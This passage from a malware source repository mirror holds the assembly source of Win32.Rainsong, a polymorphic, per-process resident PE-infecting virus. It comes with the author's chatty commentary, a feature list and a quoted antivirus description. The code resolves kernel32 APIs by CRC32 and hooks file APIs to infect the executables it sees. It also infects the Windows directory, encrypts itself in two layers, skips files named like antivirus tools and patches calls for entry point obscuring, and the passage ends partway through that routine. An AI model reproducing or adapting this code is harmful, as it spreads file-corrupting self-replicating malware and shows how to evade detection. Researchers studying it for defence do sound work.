mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
1821 lines
54 KiB
NASM
1821 lines
54 KiB
NASM
|
|
;
|
|
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
|
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
|
; The Rain Song ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
|
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
|
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
|
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
; . The best way to code a virus: listening Led Zeppelin (i'm not so
|
|
; old, but the best is ever good ;). And in the time i was coding this
|
|
; bug i became hooked again by the Dr. Asimov. 'Pelude to Foundation'
|
|
; it's the book. Here in spain the books are going even more expensive,
|
|
; but there are cheap editions of Asimov's work (about 6 Euros). The
|
|
; name of the virus is from the amazing song by Led Zeppelin, of coz.
|
|
; But the payload is a little tribute to Isaac Asimov. Very little.
|
|
; This virus triggers its payload in the death date of Asimov.
|
|
; May be you're interested in sci-fi, or just looking for a good book to
|
|
; evade yourself from reality, there are some titles i love (this could
|
|
; be a nice order to read them):
|
|
;
|
|
; Basics about the Foundation:
|
|
;
|
|
; Foundation
|
|
; Foundation and Empire
|
|
; Second Foundation
|
|
;
|
|
; This books could be readed before or after the basics:
|
|
;
|
|
; Prelude to Foundation
|
|
; Forward the Foundation
|
|
;
|
|
; It's true the titles say nothing about the book contents. hehehe. This
|
|
; is Asimov ;) I feel you'll like them. Books made me be a bit as i am.
|
|
; There is nothing that makes you more as you are that those things you
|
|
; choose to ignore. Hey! take that ;)
|
|
;
|
|
; . This is my first per-process virus and also my first virus with EPO.
|
|
; Don't spect too much of it. It isn't anything you haven't seen before,
|
|
; but with Bumblebee style. May be you're thinking in this way asm32 is
|
|
; going more and more close to macro coding (hi ya urgo32!). I'm not
|
|
; here for the money ;) Only for fun. And fun is not ever innovate...
|
|
; If you think this virus is worth less releasing let me know!
|
|
;
|
|
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
; . This is the source code of a VIRUS. The author is not responsabile
|
|
; of any damage that may occur due to the assembly of this file. Use
|
|
; it at your own risk.
|
|
;
|
|
; ÚÄÄÄÄÄÄÄÄÄÄ¿
|
|
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; ÀÄÄÄÄÄÄÄÄÄÄÙ
|
|
; . Works under win32 systems:
|
|
; Windows 9x
|
|
; Windows Nt
|
|
; Windows 2000
|
|
; Future versions?
|
|
; . Uses SEH during scan kernel process. If the virus gets control from
|
|
; EPO i test 1st for the last used address and if fails i test using the
|
|
; Win9x, WinNt and Win2k fixed kernel addresses. In this case it could
|
|
; not work in future versions of win32. But if i can rely in the stack i
|
|
; hope it will work also if the kernel changes its address.
|
|
; . Gets needed API scanning kernel32.dll in memory using CRC32 instead
|
|
; of names.
|
|
; . Infects PE files increasing last section.
|
|
; . Increases virtual size the amount of bytes needed to have memory for
|
|
; temporary data. (virt size>phys size)
|
|
; . Takes care of relocations in execution time.
|
|
; . Uses size padding as infection sign.
|
|
; . Avoids infect most used AV.
|
|
; . Per-process resident hooking:
|
|
; CreateFileA
|
|
; MoveFileA
|
|
; CopyFileA
|
|
; CreateProcessA
|
|
; SetFileAttributesA
|
|
; GetFileAttributesA
|
|
; SearchPathA
|
|
; . Gets the path from the hooked calls to the APIs and infects the
|
|
; files found in the directory.
|
|
; . Has a runtime part that infects files in windows directory.
|
|
; . Infects PE with the extension EXE and SCR.
|
|
; . It has 2 layers of encryption. First polymorphic and second a simple
|
|
; not loop. This is due to 1st layer uses 32 bits key and i don't want
|
|
; bytes unencrypted.
|
|
; . Has EPO (Entry Point Obscuring) tech patching a call into the code
|
|
; section of the infected program. Supports also the more standard way
|
|
; of patching PE header, but avoids it if possible trying to do light
|
|
; EPO adding a jmp to the virus at the end of the original code section.
|
|
;
|
|
;
|
|
; AVP Description ÄÄ[comments]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; Win32.Rainsong
|
|
;
|
|
;This is a dangerous per-process memory resident parasitic polymorphic
|
|
;Win32 virus. It searches for PE EXE files (Windows executable files) in
|
|
;Windows directory and infects them. Then it stays in Windows memory as a
|
|
;component of host application and affects PE EXE files that are accessed
|
|
;by host application.
|
|
;
|
|
;While infecting the virus writes itself to the end of the file by increasing
|
|
;the size of last file section. The virus uses "Entry Point Obscuring" methods
|
|
;and while infecting it does not modify program's entry address. To receive
|
|
;control when infected program is run, the virus scans victim file body, looks
|
|
;for a CALL command and replaces it with "JUMP VirusEntry" code. As a result
|
|
;the virus gets control not immediately at infected file start, but only in
|
|
;case the patched file code receives control.
|
|
;
|
|
;The virus has a bug and often corrupt files while infecting them.
|
|
;[This is true due i don't check if the import section has write attributes]
|
|
;[RainSong will corrupt all the windows file in win98 se :(]
|
|
;
|
|
;The virus avoids several anti-virus files infection, it detects them by two
|
|
;first letters in file name: AV*, AN*, DR*, ID*, OD*, TB*, F-*.
|
|
;[They NEVER analize the algo!!! A file called ?????AV.??? is never infected]
|
|
;[Why they insist in the 'two fist letters' shit?]
|
|
;
|
|
;On April 6th it generates Windows error message with the text:
|
|
;
|
|
;ASIMOV Jan.2.1920 - Apr.6.1992
|
|
;
|
|
;The virus also contains the text:
|
|
;
|
|
;< The Rain Song Coded By Bumblebee/29a >
|
|
;
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
;
|
|
; The source is commented so... have fun!
|
|
; After i've released it i've found 2 little bugs :(
|
|
; But don't worry, it work fine. See comments.
|
|
;
|
|
;
|
|
; The way of the bee
|
|
;
|
|
.486p
|
|
locals
|
|
.model flat,STDCALL
|
|
|
|
extrn ExitProcess:PROC ; needed for 1st generation
|
|
|
|
vSize equ vEnd-vBegin
|
|
crptSize equ crptEND-crptINI
|
|
PADDING equ 101
|
|
STRINGTOP equ 160
|
|
|
|
; from BC++ Win32 API on-line Reference
|
|
WIN32_FIND_DATA struc
|
|
dwFileAttributes dd 0
|
|
dwLowDateTime0 dd ? ; creation
|
|
dwHigDateTime0 dd ?
|
|
dwLowDateTime1 dd ? ; last access
|
|
dwHigDateTime1 dd ?
|
|
dwLowDateTime2 dd ? ; last write
|
|
dwHigDateTime2 dd ?
|
|
nFileSizeHigh dd ?
|
|
nFileSizeLow dd ?
|
|
dwReserved dd 0,0
|
|
cFileName db 260 dup(0)
|
|
cAlternateFilename db 14 dup(0)
|
|
db 2 dup(0)
|
|
WIN32_FIND_DATA ends
|
|
|
|
.DATA
|
|
; dummy data
|
|
db 'WARNING - This is a virus carrier - WARNING'
|
|
|
|
.CODE
|
|
vBegin label byte
|
|
inicio:
|
|
; call for the polymorphic decryptor
|
|
call crypt
|
|
|
|
crptINI label byte
|
|
; a lame 2nd layer
|
|
call secondLayerDecrypt
|
|
crptSecondINI label byte
|
|
|
|
; to store the return to host address
|
|
push offset fakeHost
|
|
hostRET equ $-4
|
|
pushad
|
|
; to support relocs
|
|
push offset inicio
|
|
virusEP equ $-4
|
|
|
|
; get delta offset
|
|
call getDelta
|
|
|
|
; setup relocations
|
|
pop eax ; get stored virus EP
|
|
lea edx,inicio+ebp ; get current
|
|
sub edx,eax ; calc displacement
|
|
add dword ptr [esp+20h],edx ; fix hostRET
|
|
add dword ptr [imageBase+ebp],edx ; fix image base
|
|
|
|
; Get Kernel32 address
|
|
; 1st check if we are in a EPO address
|
|
mov eax,dword ptr [EPOAddr+ebp]
|
|
or eax,eax
|
|
jz getK32notEPO
|
|
|
|
; we canot rely on stack... try some addresses
|
|
tryFix:
|
|
mov esi,dword ptr [kernel32+ebp] ; test latest
|
|
inc esi
|
|
call GetKernel32
|
|
jnc getAPIsNow
|
|
|
|
mov esi,077e00001h ; test for win2k
|
|
call GetKernel32
|
|
jnc getAPIsNow
|
|
|
|
mov esi,077f00001h ; test for winNt
|
|
call GetKernel32
|
|
jnc getAPIsNow
|
|
|
|
mov esi,0bff70001h ; test for win9x
|
|
call GetKernel32
|
|
jc returnHost
|
|
jmp getAPIsNow
|
|
|
|
getK32notEPO:
|
|
; use the value in the stack
|
|
mov esi,dword ptr [esp+24h]
|
|
call GetKernel32
|
|
jc tryFix
|
|
|
|
getAPIsNow:
|
|
; now get APIs using CRC32
|
|
mov edi,12345678h
|
|
kernel32 equ $-4
|
|
mov esi,edi
|
|
mov esi,dword ptr [esi+3ch]
|
|
add esi,edi
|
|
mov esi,dword ptr [esi+78h]
|
|
add esi,edi
|
|
add esi,1ch
|
|
|
|
lodsd
|
|
add eax,edi
|
|
mov dword ptr [address+ebp],eax
|
|
lodsd
|
|
add eax,edi
|
|
mov dword ptr [names+ebp],eax
|
|
lodsd
|
|
add eax,edi
|
|
mov dword ptr [ordinals+ebp],eax
|
|
|
|
sub esi,16
|
|
lodsd
|
|
mov dword ptr [nexports+ebp],eax
|
|
|
|
xor edx,edx
|
|
mov dword ptr [expcount+ebp],edx
|
|
lea eax,FSTAPI+ebp
|
|
|
|
searchl:
|
|
mov esi,dword ptr [names+ebp]
|
|
add esi,edx
|
|
mov esi,dword ptr [esi]
|
|
add esi,edi
|
|
push eax edx edi
|
|
xor edi,edi
|
|
movzx di,byte ptr [eax+4]
|
|
call CRC32
|
|
xchg ebx,eax
|
|
pop edi edx eax
|
|
cmp ebx,dword ptr [eax]
|
|
je fFound
|
|
add edx,4
|
|
inc dword ptr [expcount+ebp]
|
|
push edx
|
|
mov edx,dword ptr [expcount+ebp]
|
|
cmp dword ptr [nexports+ebp],edx
|
|
pop edx
|
|
je returnHost
|
|
jmp searchl
|
|
fFound:
|
|
shr edx,1
|
|
add edx,dword ptr [ordinals+ebp]
|
|
xor ebx,ebx
|
|
mov bx,word ptr [edx]
|
|
shl ebx,2
|
|
add ebx,dword ptr [address+ebp]
|
|
mov ecx,dword ptr [ebx]
|
|
add ecx,edi
|
|
|
|
mov dword ptr [eax+5],ecx
|
|
add eax,9
|
|
xor edx,edx
|
|
mov dword ptr [expcount+ebp],edx
|
|
lea ecx,ENDAPI+ebp
|
|
cmp eax,ecx
|
|
jb searchl
|
|
|
|
; we must make a memory copy of the virus and work there
|
|
; the original copy it's patched to return host.
|
|
; This is necessary due we could be called from a call more
|
|
; than once... just think what happens when you decrypt twice...
|
|
push 00000040h
|
|
push 00001000h OR 00002000h
|
|
push (vSize+1000h)
|
|
push 0h
|
|
call dword ptr [_VirtualAlloc+ebp]
|
|
or eax,eax
|
|
jz returnHost
|
|
|
|
lea esi,inicio+ebp
|
|
mov edi,eax
|
|
mov ecx,vSize
|
|
rep movsb
|
|
lea esi,hostRET-1
|
|
lea edi,inicio+ebp
|
|
mov ecx,5
|
|
rep movsb
|
|
mov byte ptr [edi],0c3h
|
|
add eax,offset memCopy-offset inicio
|
|
push eax
|
|
ret
|
|
|
|
memCopy:
|
|
; get delta offset another time
|
|
call getDelta
|
|
|
|
lea edx,fileSize+ebp ; check for Asimov
|
|
push edx ; death date
|
|
call dword ptr [_GetSystemTime+ebp]
|
|
|
|
lea edx,fileSize+ebp
|
|
cmp word ptr [edx+2],4
|
|
jne skipPay
|
|
cmp word ptr [edx+6],6
|
|
jne skipPay
|
|
|
|
lea edx,message+ebp
|
|
push edx
|
|
xor eax,eax
|
|
push eax
|
|
call dword ptr [_FatalAppExitA+ebp] ; bye bye ;)
|
|
|
|
skipPay:
|
|
; alloc a temporary buffer to generate the poly sample
|
|
; of the virus ready to infect
|
|
push 00000004h
|
|
push 00001000h OR 00002000h
|
|
push (vSize+1000h)
|
|
push 0h
|
|
call dword ptr [_VirtualAlloc+ebp]
|
|
or eax,eax
|
|
jz returnHost
|
|
|
|
mov dword ptr [memHnd+ebp],eax
|
|
|
|
; the same polymorphic routine is used for each infection
|
|
; in the current execution of the virus
|
|
call dword ptr [_GetTickCount+ebp]
|
|
mov edi,dword ptr [memHnd+ebp]
|
|
add edi,vSize
|
|
mov ecx,(crptSize/4)-(4-(crptSize MOD 4))
|
|
call GenDCrpt
|
|
; store the size of the sample (for infection process)
|
|
; and calc the virtual size
|
|
mov dword ptr [virtsize+ebp],vSize
|
|
cmp eax,BUFFERSIZE
|
|
jb decryptorSmall
|
|
add dword ptr [virtsize+ebp],eax
|
|
jmp virtSizeOk
|
|
decryptorSmall:
|
|
add dword ptr [virtsize+ebp],BUFFERSIZE
|
|
virtSizeOk:
|
|
add eax,vSize
|
|
mov dword ptr [gensize+ebp],eax
|
|
|
|
; Hook the API to get per-process residency
|
|
; Notice this must be called before any infection
|
|
call hookApi
|
|
|
|
lea esi,stringBuffer+ebp ; get current directory
|
|
push esi
|
|
push STRINGTOP
|
|
call dword ptr [_GetCurrentDirectoryA+ebp]
|
|
or eax,eax
|
|
jz returnHost
|
|
|
|
push STRINGTOP ; get windows directory
|
|
lea esi,tmpPath+ebp
|
|
push esi
|
|
call dword ptr [_GetWindowsDirectoryA+ebp]
|
|
or eax,eax
|
|
jz returnHost
|
|
|
|
lea esi,tmpPath+ebp ; goto windows directory
|
|
push esi
|
|
call dword ptr [_SetCurrentDirectoryA+ebp]
|
|
or eax,eax
|
|
jz returnHost
|
|
|
|
call infectDir ; infect!! buahahahah!
|
|
; estoooo
|
|
lea esi,stringBuffer+ebp ; go back home ;)
|
|
push esi
|
|
call dword ptr [_SetCurrentDirectoryA+ebp]
|
|
|
|
returnHost:
|
|
popad
|
|
ret
|
|
;
|
|
; Returns Delta offset into ebp.
|
|
;
|
|
getDelta:
|
|
call delta
|
|
delta:
|
|
pop ebp
|
|
sub ebp,offset delta
|
|
ret
|
|
;
|
|
; General hook. This routine is for all the hooks.
|
|
; We have into esi the path to analize, the address of the
|
|
; original API in the stack (plus a pushad) and the delta
|
|
; offset into ebp. I use a semaphore 'cause the virus doesn't support
|
|
; multithread. In case hooked API is called by other thread while
|
|
; the virus is in the infection process could be fatal. I'm not sure
|
|
; 100% this is necessary but... ;)
|
|
;
|
|
generalHook:
|
|
pushfd
|
|
cld
|
|
; set sem to working
|
|
mov byte ptr [semHook+ebp],1
|
|
|
|
call stringUp
|
|
jc hookInfectionFail
|
|
|
|
push edi
|
|
lea edx,stringBuffer+ebp
|
|
push edx
|
|
call dword ptr [_GetFileAttributesA+ebp]
|
|
pop edi
|
|
inc eax
|
|
jz hookInfectionFail
|
|
dec eax
|
|
|
|
and eax,00000010h ; it's a directory?
|
|
jnz infectPath
|
|
|
|
lea edx,stringBuffer+ebp
|
|
cmp word ptr [edx+1],'\:' ; absolute path?
|
|
je getPath
|
|
|
|
cmp word ptr [edx],'\\' ; absolute path?
|
|
jne infectCurrent
|
|
|
|
; if it's an absolute path to a file we quit the
|
|
; filename and try the directory
|
|
getPath:
|
|
cmp byte ptr [edi],'\'
|
|
je pathOk
|
|
dec edi
|
|
cmp edx,edi
|
|
je hookInfectionFail
|
|
jmp getPath
|
|
|
|
pathOk:
|
|
mov dword ptr [edi],0 ; now we have a path
|
|
|
|
; infects the path changing directory
|
|
infectPath:
|
|
; get current directory
|
|
lea esi,tmpPath+ebp
|
|
push esi
|
|
push STRINGTOP
|
|
call dword ptr [_GetCurrentDirectoryA+ebp]
|
|
or eax,eax
|
|
jz hookInfectionFail
|
|
|
|
; set current directory to path
|
|
lea esi,stringBuffer+ebp
|
|
push esi
|
|
call dword ptr [_SetCurrentDirectoryA+ebp]
|
|
or eax,eax
|
|
jz hookInfectionFail
|
|
|
|
call infectDir
|
|
|
|
; restore current directory
|
|
lea esi,tmpPath+ebp
|
|
push esi
|
|
call dword ptr [_SetCurrentDirectoryA+ebp]
|
|
|
|
jmp hookInfectionFail
|
|
|
|
; infects current directory 'cause we haven't any path
|
|
; to check (and the accessed file it's just there!)
|
|
infectCurrent:
|
|
call infectDir
|
|
|
|
hookInfectionFail:
|
|
; set sem to free
|
|
mov byte ptr [semHook+ebp],0
|
|
popfd
|
|
popad
|
|
ret
|
|
;
|
|
; Nice macro ;)
|
|
;
|
|
@hook macro ApiAddress
|
|
push eax
|
|
pushad
|
|
call getDelta
|
|
mov eax,dword ptr [ApiAddress+ebp]
|
|
mov dword ptr [esp+20h],eax
|
|
mov esi,dword ptr [esp+28h]
|
|
|
|
or esi,esi ; skip NULLs in filename
|
|
jz @@skipThisCall
|
|
|
|
cmp byte ptr [semHook+ebp],0
|
|
je generalHook
|
|
@@skipThisCall:
|
|
popad
|
|
ret
|
|
endm
|
|
;
|
|
; The hooks.
|
|
;
|
|
Hook0:
|
|
@hook _CreateFileA
|
|
Hook1:
|
|
@hook _MoveFileA
|
|
Hook2:
|
|
@hook _CopyFileA
|
|
Hook3:
|
|
@hook _CreateProcessA
|
|
Hook4:
|
|
@hook _SetFileAttributesA
|
|
Hook5:
|
|
@hook _GetFileAttributesA
|
|
Hook6:
|
|
@hook _SearchPathA
|
|
Hook7: ; this data it's included but
|
|
@hook _SetCurrentDirectoryA ; not used... ops
|
|
; i can remove it, but better it
|
|
; fits the released binary
|
|
; i realized this bug after release
|
|
;
|
|
; This routine hooks the API that gives the virus per-process residency.
|
|
; The image base address is stored in the infection process.
|
|
;
|
|
hookApi:
|
|
pushad
|
|
; init the sem to free
|
|
mov byte ptr [semHook+ebp],0
|
|
mov edx,400000h
|
|
imageBase equ $-4
|
|
cmp word ptr [edx],'ZM'
|
|
jne noHook
|
|
mov edi,edx
|
|
add edi,dword ptr [edx+3ch]
|
|
cmp word ptr [edi],'EP'
|
|
jne noHook
|
|
mov edi,dword ptr [edi+80h] ; RVA import
|
|
add edi,edx
|
|
searchK32Imp:
|
|
mov esi,dword ptr [edi+0ch] ; get name
|
|
or esi,esi
|
|
jz noHook
|
|
add esi,edx
|
|
push edi ; save (stringUp doesn't)
|
|
call stringUp
|
|
pop edi
|
|
jc nextName
|
|
lea esi,stringBuffer+ebp
|
|
cmp dword ptr [esi],'NREK' ; look for Kernel32 module
|
|
jne nextName
|
|
cmp dword ptr [esi+4],'23LE'
|
|
je k32ImpFound
|
|
nextName:
|
|
add edi,14h
|
|
mov esi,dword ptr [edi]
|
|
or esi,esi
|
|
jz noHook
|
|
jmp searchK32Imp
|
|
k32ImpFound:
|
|
mov esi,dword ptr [edi+10h] ; get address table
|
|
or esi,esi
|
|
jz noHook
|
|
add esi,edx
|
|
lea ecx,HOOKTABLEEND+ebp
|
|
nextImp: ; search for APIs
|
|
lea edx,HOOKTABLEBEGIN+ebp
|
|
lodsd
|
|
or eax,eax
|
|
jz noHook
|
|
checkNextAPI:
|
|
mov edi,dword ptr [edx]
|
|
cmp eax,dword ptr [edi+ebp]
|
|
je doHook
|
|
add edx,8
|
|
cmp edx,ecx
|
|
jne checkNextAPI
|
|
jmp nextImp
|
|
doHook:
|
|
mov eax,dword ptr [edx+4]
|
|
add eax,ebp
|
|
mov dword ptr [esi-4],eax
|
|
add edx,8
|
|
cmp edx,ecx
|
|
jne nextImp
|
|
noHook:
|
|
popad
|
|
ret
|
|
;
|
|
; Changes to upper case the string by esi storing into stringBuffer.
|
|
; Sets carry flag if our string buffer is small. Returns in edi the
|
|
; end of the string into the buffer. Requires SEH.
|
|
;
|
|
stringUp:
|
|
push esi eax
|
|
lea edi,stringBuffer+ebp
|
|
mov eax,edi
|
|
add eax,STRINGTOP
|
|
stringUpLoop:
|
|
cmp eax,edi
|
|
jne continueStringUp
|
|
stc
|
|
jmp stringUpOut
|
|
continueStringUp:
|
|
movsb
|
|
cmp byte ptr [esi-1],'a'
|
|
jb skipThisChar
|
|
cmp byte ptr [esi-1],'z'
|
|
ja skipThisChar
|
|
add byte ptr [edi-1],'A'-'a'
|
|
skipThisChar:
|
|
cmp byte ptr [esi-1],0
|
|
jne stringUpLoop
|
|
dec edi
|
|
clc
|
|
stringUpOut:
|
|
pop eax esi
|
|
ret
|
|
;
|
|
; This routine gets Kernel32 address. Uses SEH.
|
|
; The main purpose of this routine is search for the k32 address using
|
|
; a 'guess' address from the stack. But i cannot rely on the stack when
|
|
; the virus starts from EPO. Look the pieze of code that calls this
|
|
; routine to see how to fix it easily.
|
|
; Take a look to the article by Lethal Mind/29a from 29a#4 for more
|
|
; information about this method.
|
|
;
|
|
GetKernel32:
|
|
pushad
|
|
xor edx,edx
|
|
lea eax,dword ptr [esp-8h]
|
|
xchg eax,dword ptr fs:[edx]
|
|
lea edi,GetKernel32Exception+ebp
|
|
push edi
|
|
push eax
|
|
|
|
GetKernel32Loop:
|
|
dec esi
|
|
cmp word ptr [esi],'ZM' ; 'poda' -> this makes algo
|
|
jne GetKernel32Loop ; faster
|
|
mov dx,word ptr [esi+3ch]
|
|
test dx,0f800h
|
|
jnz GetKernel32Loop
|
|
cmp esi,dword ptr [esi+edx+34h]
|
|
jne GetKernel32Loop
|
|
mov dword ptr [kernel32+ebp],esi
|
|
|
|
xor edi,edi
|
|
pop dword ptr fs:[edi]
|
|
pop eax
|
|
popad
|
|
clc
|
|
ret
|
|
|
|
GetKernel32Exception:
|
|
xor edi,edi
|
|
mov eax,dword ptr fs:[edi]
|
|
mov esp,dword ptr [eax]
|
|
xor edi,edi
|
|
pop dword ptr fs:[edi]
|
|
pop eax
|
|
popad
|
|
stc
|
|
ret
|
|
;
|
|
; This routine makes CRC32.
|
|
;
|
|
CRC32:
|
|
cld
|
|
xor ecx,ecx
|
|
dec ecx
|
|
mov edx,ecx
|
|
push ebx
|
|
NextByteCRC:
|
|
xor eax,eax
|
|
xor ebx,ebx
|
|
lodsb
|
|
xor al,cl
|
|
mov cl,ch
|
|
mov ch,dl
|
|
mov dl,dh
|
|
mov dh,8
|
|
NextBitCRC:
|
|
shr bx,1
|
|
rcr ax,1
|
|
jnc NoCRC
|
|
xor ax,08320h
|
|
xor bx,0EDB8h
|
|
NoCRC:
|
|
dec dh
|
|
jnz NextBitCRC
|
|
xor ecx,eax
|
|
xor edx,ebx
|
|
dec edi
|
|
jnz NextByteCRC
|
|
pop ebx
|
|
not edx
|
|
not ecx
|
|
mov eax,edx
|
|
rol eax,16
|
|
mov ax,cx
|
|
ret
|
|
;
|
|
; Updates the virus sample ready to infect in our memory buffer.
|
|
;
|
|
updateVSample:
|
|
lea esi,vBegin+ebp
|
|
mov edi,dword ptr [memHnd+ebp]
|
|
mov ecx,vSize
|
|
rep movsb
|
|
|
|
mov ecx,crptSecondEND-crptSecondINI
|
|
mov esi,crptSecondINI-vBegin
|
|
add esi,dword ptr [memHnd+ebp]
|
|
secondEnLayerLoop:
|
|
not byte ptr [esi]
|
|
inc esi
|
|
loop secondEnLayerLoop
|
|
|
|
mov ecx,dword ptr [CodeSize+ebp]
|
|
mov esi,crptINI-vBegin
|
|
add esi,dword ptr [memHnd+ebp]
|
|
mov eax,dword ptr [CrptKey+ebp]
|
|
encrptLoop:
|
|
xor dword ptr [esi],eax
|
|
add esi,4
|
|
loop encrptLoop
|
|
ret
|
|
;
|
|
; Infects PE file increasing last section.
|
|
;
|
|
; ESI: addr of file name of PE to infect.
|
|
;
|
|
infect:
|
|
pushad
|
|
mov dword ptr [fNameAddr+ebp],esi
|
|
|
|
push esi
|
|
push esi
|
|
call dword ptr [_GetFileAttributesA+ebp]
|
|
pop esi
|
|
inc eax
|
|
jz infectionError
|
|
dec eax
|
|
|
|
mov dword ptr [fileAttrib+ebp],eax
|
|
|
|
push esi
|
|
push 00000080h
|
|
push esi
|
|
call dword ptr [_SetFileAttributesA+ebp]
|
|
pop esi
|
|
or eax,eax
|
|
jz infectionError
|
|
|
|
xor eax,eax
|
|
push eax
|
|
push 00000080h
|
|
push 00000003h
|
|
push eax
|
|
push eax
|
|
push 80000000h OR 40000000h
|
|
push esi
|
|
call dword ptr [_CreateFileA+ebp]
|
|
inc eax
|
|
jz infectionErrorAttrib
|
|
dec eax
|
|
|
|
mov dword ptr [fHnd+ebp],eax
|
|
|
|
push 0h
|
|
push eax
|
|
call dword ptr [_GetFileSize+ebp]
|
|
inc eax
|
|
jz infectionErrorClose
|
|
dec eax
|
|
|
|
mov dword ptr [fileSize+ebp],eax
|
|
|
|
lea edi,fileTime2+ebp
|
|
push edi
|
|
lea edi,fileTime1+ebp
|
|
push edi
|
|
lea edi,fileTime0+ebp
|
|
push edi
|
|
push dword ptr [fHnd+ebp]
|
|
call dword ptr [_GetFileTime+ebp]
|
|
or eax,eax
|
|
jz infectionErrorClose
|
|
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push 00000004h
|
|
push eax
|
|
push dword ptr [fHnd+ebp]
|
|
call dword ptr [_CreateFileMappingA+ebp]
|
|
or eax,eax
|
|
jz infectionErrorClose
|
|
|
|
mov dword ptr [fhmap+ebp],eax
|
|
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push 00000004h OR 00000002h
|
|
push dword ptr [fhmap+ebp]
|
|
call dword ptr [_MapViewOfFile+ebp]
|
|
or eax,eax
|
|
jz infectionErrorCloseMap
|
|
|
|
mov dword ptr [mapMem+ebp],eax
|
|
|
|
mov edi,eax
|
|
cmp word ptr [edi],'ZM'
|
|
jne infectionErrorCloseUnmap
|
|
|
|
add edi,dword ptr [edi+3ch]
|
|
cmp eax,edi
|
|
ja infectionErrorCloseUnmap ; avoid fucking headers
|
|
add eax,dword ptr [fileSize+ebp]
|
|
cmp eax,edi
|
|
jb infectionErrorCloseUnmap ; avoid fucking headers
|
|
cmp word ptr [edi],'EP'
|
|
jne infectionErrorCloseUnmap
|
|
|
|
mov edx,dword ptr [edi+16h] ; test it's a valid PE
|
|
test edx,2h ; i want executable
|
|
jz infectionErrorCloseUnmap
|
|
and edx,2000h ; i don't want DLL
|
|
jnz infectionErrorCloseUnmap
|
|
mov dx,word ptr [edi+5ch]
|
|
dec edx ; i don't want NATIVE
|
|
jz infectionErrorCloseUnmap
|
|
|
|
mov edx,edi
|
|
|
|
mov esi,edi
|
|
mov eax,18h
|
|
add ax,word ptr [edi+14h]
|
|
add edi,eax
|
|
mov dword ptr [fstSec+ebp],edi
|
|
|
|
push edx
|
|
mov cx,word ptr [esi+06h]
|
|
mov ax,28h
|
|
dec cx
|
|
mul cx
|
|
add edi,eax
|
|
pop edx
|
|
|
|
test dword ptr [edi+24h],10000000h ; avoid this kind of section
|
|
jnz infectionErrorCloseUnmap ; we can corrupt it!
|
|
|
|
test dword ptr [edi+24h],0e0000020h ; mmm... This is infected yet
|
|
jz infectionErrorCloseUnmap ; another bug! must be jnz
|
|
|
|
mov eax,dword ptr [edi+10h] ; i rely on the headers...
|
|
add eax,dword ptr [edi+14h]
|
|
mov dword ptr [fileSize+ebp],eax
|
|
|
|
sub eax,dword ptr [edi+14h] ; calc our RVA
|
|
add eax,dword ptr [edi+0ch]
|
|
mov dword ptr [myRVA+ebp],eax
|
|
; save virus entry point to calc relocations in
|
|
; execution time
|
|
add eax,dword ptr [esi+34h]
|
|
mov dword ptr [virusEP+ebp],eax
|
|
|
|
mov eax,dword ptr [edi+08h] ; fix the virtual size
|
|
push edx ; if needed
|
|
mov ecx,dword ptr [edx+38h] ; some PE have strange
|
|
xor edx,edx ; virt size (cdplayer p.e.)
|
|
div ecx
|
|
inc eax
|
|
or edx,edx
|
|
jz rvaFixDone
|
|
xor edx,edx
|
|
mul ecx
|
|
|
|
mov dword ptr [edi+08h],eax ; save the fixed virt size
|
|
rvaFixDone:
|
|
|
|
; save image base for hook API
|
|
mov edx,dword ptr [esi+34h]
|
|
mov dword ptr [imageBase+ebp],edx
|
|
pop edx
|
|
|
|
call searchEPO ; Search for a call
|
|
jc notEPO
|
|
|
|
push edi edx ecx ; patch the call
|
|
mov edx,dword ptr [myRVA+ebp]
|
|
add edx,dword ptr [esi+34h] ; edx = dest rva
|
|
mov edi,dword ptr [EPORva+ebp]
|
|
add edi,dword ptr [esi+34h] ; edi = call rva
|
|
sub edx,edi
|
|
sub edx,5 ; edx patch the call
|
|
mov ecx,dword ptr [EPOAddr+ebp]
|
|
xchg dword ptr [ecx+1],edx
|
|
add edx,edi ; get the rva
|
|
add edx,5
|
|
mov dword ptr [hostRET+ebp],edx ; and store it ;)
|
|
pop ecx edx edi
|
|
|
|
jmp yeahEPO
|
|
notEPO:
|
|
call lightEPO ; try light EPO
|
|
jc notNotEPO
|
|
|
|
push edx ecx ; add the jump
|
|
mov ecx,dword ptr [myRVA+ebp]
|
|
